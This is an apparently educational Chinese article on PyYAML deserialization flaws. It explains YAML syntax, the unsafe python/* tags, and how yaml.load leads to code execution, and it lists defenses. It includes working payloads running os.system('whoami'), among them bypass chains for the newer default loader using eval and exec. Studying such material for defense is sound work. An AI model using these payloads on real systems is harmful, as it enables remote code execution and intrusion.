PyYaml反序列化漏洞
字数 1404 2025-08-06 12:20:59

PyYAML反序列化漏洞深度分析

YAML基础

YAML是一种人类可读的数据序列化格式,常用于配置文件和数据交换。其设计目标是易于阅读和编写,并能被不同编程语言解析。

基本语法

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进不允许使用tab,只允许空格
  • 缩进的空格数不重要,只要相同层级的元素左对齐
  • 在同一个yml文件中用---隔开多份配置
  • #表示注释
  • !!表示强制类型转换

数据类型

YAML支持以下几种数据类型:

  1. 对象:键值对的集合(映射/哈希/字典)
  2. 数组:一组按次序排列的值(序列/列表)
  3. 纯量:单个的、不可再分的值

类型转换

使用!!进行强制类型转换,例如:

str: !!str 123

将被转换为{'str': '123'}

引用

使用&*<<

  • &建立锚点
  • <<表示合并到当前数据
  • *引用锚点

PyYAML反序列化漏洞分析

PyYAML<5.1版本漏洞

漏洞成因

PyYAML<5.1版本中,yaml.load()yaml.load_all()方法存在安全风险,主要由于以下五个Python标签:

  1. python/name
  2. python/module
  3. python/object
  4. python/object/new
  5. python/object/apply

这些标签在constructor.py文件中被加载器解析时,可能导致任意命令执行。

利用方法

  1. python/object/apply标签:
yaml.load('!!python/object/apply:os.system ["whoami"]')

# 或
yaml.load("""
!!python/object/apply:os.system
- whoami
""")
  1. python/module标签:
# 假设存在upload/exp.py文件
yaml.load("!!python/module:upload.exp")
  1. python/name标签:
key = "114514"
b = yaml.load('!!python/name:__main__.key')
  1. 组合利用
yaml.load("!!python/object:upload.exp.ikun")
yaml.load('!!python/object/apply:upload.exp {}')
yaml.load('!!python/object/new:upload.exp {}')

PyYAML>=5.1版本

在PyYAML>=5.1版本中,官方修复了直接通过__import__引入模块的漏洞,默认加载器改为FullConstructor,增加了以下限制:

  • 加载的模块必须位于sys.modules
  • 加载进来的module.name必须是一个类

绕过方法

  1. 使用unsafe_load
yaml.unsafe_load(payload)
yaml.load(payload, Loader=UnsafeLoader)
  1. 在默认加载器下的利用:
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('whoami')"]
""")
  1. 高级利用方式:
!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
  1. 组合利用:
payload = """
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('whoami')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
"""
yaml.load(payload)

防御措施

  1. 使用safe_load替代load
  2. 升级PyYAML到最新版本
  3. 对输入进行严格过滤
  4. 使用更安全的序列化格式如JSON

技术原理分析

关键函数调用链

  1. construct_python_object_apply -> make_python_instance -> find_python_name -> __import__
  2. construct_python_module -> find_python_module -> __import__
  3. construct_python_name -> find_python_name -> __import__

为什么tuple可用而list不可用

在Python底层实现中:

  • 元组(tuple):不可变类型,创建时需要提供所有元素,会完整处理所有参数
  • 列表(list):可变类型,创建时不需要提供元素,__new__方法会创建空列表实例

因此使用tuple可以确保map函数被完整执行,而list则不会。

总结

PyYAML反序列化漏洞是一个严重的安全问题,攻击者可以通过精心构造的YAML数据实现任意代码执行。理解其原理和利用方式对于安全防护至关重要。开发者应始终使用安全的方法处理YAML数据,并保持库的更新。

PyYAML反序列化漏洞深度分析 YAML基础 YAML是一种人类可读的数据序列化格式,常用于配置文件和数据交换。其设计目标是易于阅读和编写,并能被不同编程语言解析。 基本语法 大小写敏感 使用缩进表示层级关系 缩进不允许使用tab,只允许空格 缩进的空格数不重要,只要相同层级的元素左对齐 在同一个yml文件中用 --- 隔开多份配置 # 表示注释 !! 表示强制类型转换 数据类型 YAML支持以下几种数据类型: 对象 :键值对的集合(映射/哈希/字典) 数组 :一组按次序排列的值(序列/列表) 纯量 :单个的、不可再分的值 类型转换 使用 !! 进行强制类型转换,例如: 将被转换为 {'str': '123'} 引用 使用 & 、 * 和 << : & 建立锚点 << 表示合并到当前数据 * 引用锚点 PyYAML反序列化漏洞分析 PyYAML <5.1版本漏洞 漏洞成因 PyYAML<5.1版本中, yaml.load() 和 yaml.load_all() 方法存在安全风险,主要由于以下五个Python标签: python/name python/module python/object python/object/new python/object/apply 这些标签在 constructor.py 文件中被加载器解析时,可能导致任意命令执行。 利用方法 python/object/apply 标签: python/module 标签: python/name 标签: 组合利用 : PyYAML>=5.1版本 在PyYAML>=5.1版本中,官方修复了直接通过 __import__ 引入模块的漏洞,默认加载器改为 FullConstructor ,增加了以下限制: 加载的模块必须位于 sys.modules 中 加载进来的 module.name 必须是一个类 绕过方法 使用 unsafe_load : 在默认加载器下的利用: 高级利用方式: 组合利用: 防御措施 使用 safe_load 替代 load 升级PyYAML到最新版本 对输入进行严格过滤 使用更安全的序列化格式如JSON 技术原理分析 关键函数调用链 construct_python_object_apply -> make_python_instance -> find_python_name -> __import__ construct_python_module -> find_python_module -> __import__ construct_python_name -> find_python_name -> __import__ 为什么tuple可用而list不可用 在Python底层实现中: 元组(tuple) :不可变类型,创建时需要提供所有元素,会完整处理所有参数 列表(list) :可变类型,创建时不需要提供元素, __new__ 方法会创建空列表实例 因此使用tuple可以确保map函数被完整执行,而list则不会。 总结 PyYAML反序列化漏洞是一个严重的安全问题,攻击者可以通过精心构造的YAML数据实现任意代码执行。理解其原理和利用方式对于安全防护至关重要。开发者应始终使用安全的方法处理YAML数据,并保持库的更新。